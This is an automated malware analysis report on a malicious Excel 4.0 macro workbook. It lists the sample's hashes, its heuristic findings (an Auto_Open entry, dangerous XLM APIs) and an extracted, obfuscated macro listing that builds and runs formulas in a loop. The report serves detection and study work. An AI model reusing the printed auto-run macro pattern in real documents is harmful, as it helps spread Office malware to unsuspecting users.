Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c99318ed5a9a29f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:12 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: a7c4073b47e2363398bbe24049142b54 SHA-1: 5b69eb2e857f1abb4d6f2fd2a9dcefe466e4ee00 SHA-256: 6c99318ed5a9a29f9c762708f616e3212bf61304bae5acbab44dccf372633683
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6634 bytes
SHA-256: cbf99792731f552af00fa2caf8bdb3b5260c4f432d1770508f7a3261f595b38b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SzpYrpHP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D171 
' 0018     24 LABEL : Cell Value, String Constant - CITRUccUr len=0 
' 0018     25 LABEL : Cell Value, String Constant - dOvVqblpyl len=0 
' 0018     22 LABEL : Cell Value, String Constant - ECRzEtK len=0 
' 0018     23 LABEL : Cell Value, String Constant - FJTnaQPX len=0 
' 0018     24 LABEL : Cell Value, String Constant - gHqDNXxoR len=0 
' 0018     27 LABEL : Cell Value, String Constant - hrEZaDwoHeHs len=0 
' 0018     26 LABEL : Cell Value, String Constant - miMpTEFgvhV len=0 
' 0018     21 LABEL : Cell Value, String Constant - MZIiYR len=0 
' 0018     26 LABEL : Cell Value, String Constant - oRBonDAnFVc len=0 
' 0018     23 LABEL : Cell Value, String Constant - pWwYkbiP len=0 
' 0018     25 LABEL : Cell Value, String Constant - pXxVgtFEpB len=0 
' 0018     27 LABEL : Cell Value, String Constant - QipJKgTTvpEk len=0 
' 0018     22 LABEL : Cell Value, String Constant - QqERWpR len=0 
' 0018     23 LABEL : Cell Value, String Constant - RqrpuMAv len=0 
' 0018     21 LABEL : Cell Value, String Constant - sqEtrF len=0 
' 0018     22 LABEL : Cell Value, String Constant - TyUhuHq len=0 
' 0018     26 LABEL : Cell Value, String Constant - UyZjWoustSQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - vguGcidPySkk len=0 
' 0018     26 LABEL : Cell Value, String Constant - VnQtpVzsygG len=0 
' 0018     24 LABEL : Cell Value, String Constant - zSopQrJqK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SzpYrpHP,D69,"SET.NAME("TyUhuHq",VALUE("0"))",""
'  SzpYrpHP,D71,"SET.NAME("sqEtrF",TyUhuHq)",""
'  SzpYrpHP,D76,"SET.NAME("gHqDNXxoR",TyUhuHq)",""
'  SzpYrpHP,D81,"SET.NAME("miMpTEFgvhV",COUNTA(FJTnaQPX))",""
'  SzpYrpHP,D86,"SET.NAME("ECRzEtK",COUNTA(QipJKgTTvpEk))",""
'  SzpYrpHP,D91,[],""
'  SzpYrpHP,D94,"SET.NAME("hrEZaDwoHeHs","")",""
'  SzpYrpHP,D96,"sqEtrF",""
'  SzpYrpHP,D101,"SET.NAME("MZIiYR",HLOOKUP("*",FJTnaQPX,sqEtrF,FALSE))",""
'  SzpYrpHP,D104,"pXxVgtFEpB",""
'  SzpYrpHP,D107,"SET.NAME("pWwYkbiP",TyUhuHq)",""
'  SzpYrpHP,D112,[],""
'  SzpYrpHP,D117,"pWwYkbiP",""
'  SzpYrpHP,D120,"CITRUccUr",""
'  SzpYrpHP,D124,"vguGcidPySkk",""
'  SzpYrpHP,D127,"oRBonDAnFVc",""
'  SzpYrpHP,D132,"SET.NAME("dOvVqblpyl",VALUE(HLOOKUP("*",QipJKgTTvpEk,oRBonDAnFVc,FALSE)))",""
'  SzpYrpHP,D136,"UyZjWoustSQ",""
'  SzpYrpHP,D140,"hrEZaDwoHeHs",""
'  SzpYrpHP,D144,"gHqDNXxoR",""
'  SzpYrpHP,D147,NEXT(),""
'  SzpYrpHP,D152,"zSopQrJqK",""
'  SzpYrpHP,D155,"SET.NAME("f",INT(T(FORMULA(T(hrEZaDwoHeHs)&"",""&T(zSopQrJqK)))))",""
'  SzpYrpHP,D159,"QqERWpR",""
'  SzpYrpHP,D164,NEXT(),""
'  SzpYrpHP,D169,RETURN(),""
'  SzpYrpHP,D194,"SET.NAME("RqrpuMAv",D69)",""
'  SzpYrpHP,D197,"FJTnaQPX",""
'  SzpYrpHP,D199,"SET.NAME("QipJKgTTvpEk",R75C15)",""
'  SzpYrpHP,D202,"SET.NAME("QqERWpR",212)",""
'  SzpYrpHP,D206,"SET.NAME("VnQtpVzsygG",4)",""
'  SzpYrpHP,D211,RqrpuMAv(),""
'  SzpYrpHP,D212,HALT(),""